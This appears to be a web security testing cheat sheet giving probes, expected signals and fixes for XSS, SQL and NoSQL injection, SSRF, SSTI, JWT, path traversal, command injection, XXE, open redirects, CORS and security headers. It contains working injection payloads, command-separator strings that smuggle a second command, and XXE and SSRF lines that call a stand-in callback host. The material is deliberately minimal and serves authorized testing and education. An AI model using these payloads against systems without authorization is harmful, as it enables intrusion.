Reflection canary
Map reflection and encoding without executing script.
sc-xss-7f3a<>'"&The marker appears in HTML, an attribute, JavaScript, CSS, or a URL. Record which characters are encoded and where.
Context-aware probes for authorized web security testing, with expected signals, stop conditions, and root-cause fixes.
XSS PLAYBOOK
Trace untrusted input to its exact browser context before trying an executable proof.
Map reflection and encoding without executing script.
sc-xss-7f3a<>'"&The marker appears in HTML, an attribute, JavaScript, CSS, or a URL. Record which characters are encoded and where.
Confirm executable markup only after raw HTML injection is established.
<img src=x onerror=alert(location.origin)>A dialog shows the current origin. If markup renders but the handler does not run, inspect CSP and sanitization.
Test whether a double-quoted attribute can be closed and a new event attribute added.
" autofocus onfocus=alert(location.origin) x="Focus reaches the injected element and the handler runs. This payload is invalid for single-quoted or unquoted contexts.
Test insertion inside a single-quoted JavaScript string.
';alert(location.origin);//The string terminates, the call executes, and the remaining source is commented. Escaping rules change for JSON and template literals.
Check whether client-side code moves location.hash into an HTML sink.
#<img src=x onerror=alert(location.origin)>The fragment is not sent to the server, so execution indicates a browser-side source-to-sink path.
SQLi PLAYBOOK
Change one input at a time and compare a true condition with a false control.
Detect an unhandled string delimiter with the smallest possible mutation.
'A repeatable status, body, header, or timing change may indicate query parsing. A generic 500 alone is not proof.
Create a true predicate in a common single-quoted WHERE context.
' AND '1'='1'-- Compare against the false control using the same request and stable application state.
Provide the negative control for boolean-based testing.
' AND '1'='2'-- A consistent content or behavior difference between true and false conditions is stronger evidence than either response alone.
Test a numeric expression without introducing a quote.
1 AND 1=2An empty result or changed response compared with the original numeric value can reveal expression evaluation.
Validate a blind MySQL path when content-based controls are unavailable.
' AND SLEEP(2)-- Use repeated baseline and delayed samples. Network jitter or slow application code can create false positives.
SSRF PLAYBOOK
Begin with a unique callback you control. Internal addresses require explicit authorization.
Detect server-side DNS or HTTP access without targeting internal infrastructure.
https://unique-id.your-callback.example/Correlate a unique token, timestamp, source address, DNS lookup, and HTTP request in your callback logs.
Check whether policy is applied to every redirect hop.
https://your-callback.example/redirect-to-approved-targetA callback from the first hop is expected; reaching a disallowed second destination indicates incomplete revalidation.
Test whether the server can reach its own loopback interface.
http://127.0.0.1/A response that differs from a controlled unreachable address may indicate internal access, but error handling can obscure results.
Find validation that blocks IPv4 loopback but misses IPv6.
http://[::1]/Compare with the IPv4 result and a negative control. The target service may not listen on IPv6.
Use an RFC 5737 documentation address as a non-production negative control.
http://192.0.2.1/This address should not identify a real Internet host. Fast rejection versus a timeout can reveal validation behavior, not SSRF by itself.
SSTI PLAYBOOK
Use arithmetic fingerprinting. Do not jump from evaluation to command execution.
Observe whether template-looking input remains literal or triggers a controlled error.
sc-ssti-7f3a{{not_a_real_name}}A literal echo is not vulnerable. Removal, substitution, or a template-specific error justifies engine-aware testing.
Test expression evaluation without reading data or invoking functions.
{{7*7}}A rendered value of 49 suggests evaluation, but multiple engines share this syntax.
Distinguish engines that repeat strings from engines that coerce or reject the expression.
{{7*'7'}}For example, Jinja2 commonly renders seven copies of 7 while Twig commonly renders 49. Version and configuration can differ.
Check Java EL, FreeMarker, and other dollar-brace expression contexts.
${7*7}A value of 49 indicates expression handling but does not identify the engine by itself.
Test an ERB-style output expression without accessing files or executing commands.
<%= 7*7 %>A rendered value of 49 indicates evaluation in an ERB-like context.
JWT PLAYBOOK
Change one header or claim at a time. Decoding a token is not signature verification.
Record the token type, algorithm, and key identifier before making changes.
{"alg":"RS256","typ":"JWT","kid":"key-2026-07"}The server must choose acceptable algorithms and key sources from configuration, not trust arbitrary header values.
Confirm that an unsigned token is rejected even if its claims look valid.
{"alg":"none","typ":"JWT"}Any authenticated response is a failure. A robust implementation rejects the token before authorization logic.
Verify that an expiration in the past is enforced.
{"exp":1}The token should be rejected with a consistent authentication error. Allow only a small documented clock-skew window.
Confirm that a token minted for another recipient is not accepted.
{"aud":"https://not-this-service.example"}The service should reject the token even when the signature is otherwise valid.
Confirm that the verifier does not fetch keys from an attacker-selected URL.
{"jku":"https://your-controlled.example/jwks.json"}No callback should occur and the token should be rejected unless the URL is on a strict, intentional allowlist.
Traversal PLAYBOOK
Use a harmless fixture created for the test. Avoid reading operating-system or application secrets.
Attempt to read a harmless fixture placed one directory above the intended root.
../sc-traversal-proof.txtA unique fixture marker proves boundary escape without exposing sensitive files.
Check whether decoding occurs after an early validation step.
%2e%2e%2fsc-traversal-proof.txtThe same fixture appears only for the encoded request, indicating inconsistent normalization order.
Detect a second decoding layer between a proxy, framework, and file API.
%252e%252e%252fsc-traversal-proof.txtThe fixture appears after multiple decode passes. Confirm the exact component sequence before reporting.
Test path handling on Windows or cross-platform libraries.
..\sc-traversal-proof.txtThe fixture appears when backslashes are interpreted as directory separators.
Confirm that an absolute path cannot bypass the intended base directory.
/tmp/sc-traversal-proof.txtA controlled fixture outside the content root must remain inaccessible.
Command PLAYBOOK
Use a unique printed marker. Do not read files, open shells, or make external connections.
Test command separation with a harmless, deterministic output marker.
;printf sc_cmd_7f3aThe marker appears in the response or captured process output.
Test execution after a preceding command succeeds.
&&printf sc_cmd_7f3aThe marker appears only when the original command returns success.
Test whether input reaches a shell pipeline.
|printf sc_cmd_7f3aThe marker appears even though pipeline behavior may replace or combine normal output.
Check whether URL decoding introduces a command separator.
%0aprintf%20sc_cmd_7f3aThe marker appears after a decoding layer converts %0a to a newline.
Validate blind execution when output is not returned.
;sleep 2Repeated requests show a stable two-second delta over baseline. Use low concurrency and account for jitter.
XXE PLAYBOOK
Prove entity processing with an internal marker before attempting any external lookup.
Detect DTD and entity expansion without file or network access.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY sc "sc_xxe_7f3a">]><r>≻</r>The parsed value contains sc_xxe_7f3a. Internal expansion alone is not proof that external entities are enabled.
Confirm external entity resolution against a host you control.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY sc SYSTEM "https://unique-id.your-callback.example/xxe">]><r>≻</r>A correlated DNS or HTTP callback proves outbound resolution. The XML response need not include callback content.
Test XInclude processing when you cannot control the XML document type.
<r xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="https://unique-id.your-callback.example/xinclude" parse="text"/></r>A callback or included controlled marker indicates that XInclude is processed.
Check an image-processing path with a non-network entity marker.
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY sc "sc_svg_7f3a">]><svg xmlns="http://www.w3.org/2000/svg"><text>≻</text></svg>The rendered or transformed output contains the unique text marker.
Redirect PLAYBOOK
Use a harmless destination you control and verify the actual Location header.
Test whether a redirect parameter accepts an arbitrary origin.
https://your-controlled.example/sc-redirectA 3xx Location header or client-side navigation reaches the exact controlled URL.
Check validation that only rejects strings beginning with http.
//your-controlled.example/sc-redirectThe browser inherits the current scheme and navigates to the controlled host.
Identify URL parsers that normalize backslashes into authority separators.
\\your-controlled.example\sc-redirectBrowser and server parsing can differ. Confirm the final browser destination rather than relying only on string validation.
Check whether validation mistakes userinfo for the destination host.
https://trusted.example@your-controlled.example/The actual host is your-controlled.example; trusted.example is the username component.
Check whether validation and redirect execution happen before and after different decode steps.
%2f%2fyour-controlled.example%2fsc-redirectThe final Location value or browser destination resolves to the controlled host.
NoSQL PLAYBOOK
Use impossible predicates as negative controls. Test authentication logic only with dedicated accounts.
Check whether an endpoint enforces a string schema before building a query.
{"username":{"unexpected":"sc_probe"}}A clean 4xx validation error is expected. Query-engine errors or changed results indicate unsafe type handling, not necessarily injection.
Detect whether a client-supplied MongoDB operator reaches the query layer.
{"username":{"$eq":"sc-user-that-cannot-exist"}}Compare with the same impossible value as a plain string. A behavior difference suggests operator interpretation.
Test operator injection using a dedicated test workflow.
{"username":{"$ne":"sc-user-that-cannot-exist"}}Broader results or an authentication-state change indicates unsafe query construction. Stop after minimal proof.
Check frameworks that parse bracket notation into nested objects.
username[$eq]=sc-user-that-cannot-existCompare with username=sc-user-that-cannot-exist and inspect server-side parsing if available.
Test regex operator handling without enumerating real usernames.
{"username":{"$regex":"^sc_user_that_cannot_exist$"}}A difference from the equivalent plain string can reveal operator acceptance while preserving a no-match control.
CORS PLAYBOOK
CORS is enforced by browsers. Inspect both preflight and actual responses with and without credentials.
Check whether an arbitrary origin is reflected or broadly allowed.
Origin: https://your-controlled.exampleAccess-Control-Allow-Origin matching the untrusted origin is risky when sensitive data is available, especially with credentials.
Test whether sandboxed documents, local files, or opaque origins are trusted.
Origin: nullAccess-Control-Allow-Origin: null can expose data when attackers can generate a null origin.
Find suffix or substring checks that mistake an attacker domain for a trusted origin.
Origin: https://trusted.example.your-controlled.exampleThe server must reject this unless the exact origin is intentionally trusted.
Test weak prefix checks and document the actual DNS ownership boundary.
Origin: https://your-controlled.example.trusted.exampleAcceptance may be intended only if trusted.example controls and secures every possible subdomain.
Inspect the policy returned before a cross-origin API request.
OPTIONS /api/account HTTP/1.1
Origin: https://your-controlled.example
Access-Control-Request-Method: GETReview Access-Control-Allow-Origin, Access-Control-Allow-Credentials, allowed methods and headers, and Vary: Origin together.
Headers PLAYBOOK
Treat headers as browser policy, not substitutes for secure application logic.
Establish a restrictive starting policy before adding required sources and script nonces.
Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'Check browser console violations and verify that the final policy does not rely on unsafe-inline or broad wildcards.
Tell supporting browsers to use HTTPS for the host and its subdomains.
Strict-Transport-Security: max-age=31536000; includeSubDomainsSend HSTS only over HTTPS. Add includeSubDomains only after every subdomain supports HTTPS; preload has separate requirements and consequences.
Require browsers to honor declared MIME types in relevant script and style contexts.
X-Content-Type-Options: nosniffVerify accurate Content-Type headers too; nosniff does not repair an incorrect media type.
Send full referrers on same-origin requests and only the origin cross-origin, while avoiding HTTPS-to-HTTP leakage.
Referrer-Policy: strict-origin-when-cross-originChoose a stricter value if paths or query strings contain sensitive data.
Disable browser capabilities the application does not require.
Permissions-Policy: camera=(), microphone=(), geolocation=()Inventory real feature and iframe needs before rollout; unsupported directives are ignored by browsers.
FIELD METHOD
A copied string is never the test by itself. Context, a negative control, repeatable evidence, and a root-cause fix turn an observation into a useful finding.
Check the asset, account, test window, prohibited techniques, data rules, and stop conditions.
Record where input travels and which parser, browser, query, template, or process handles it.
Compare one changed input against a stable baseline and an expected-negative request.
Preserve the request, response, timestamp, account, environment, and observed security boundary.
Do not escalate after impact is clear. Explain the root cause, safe fix, and retest condition.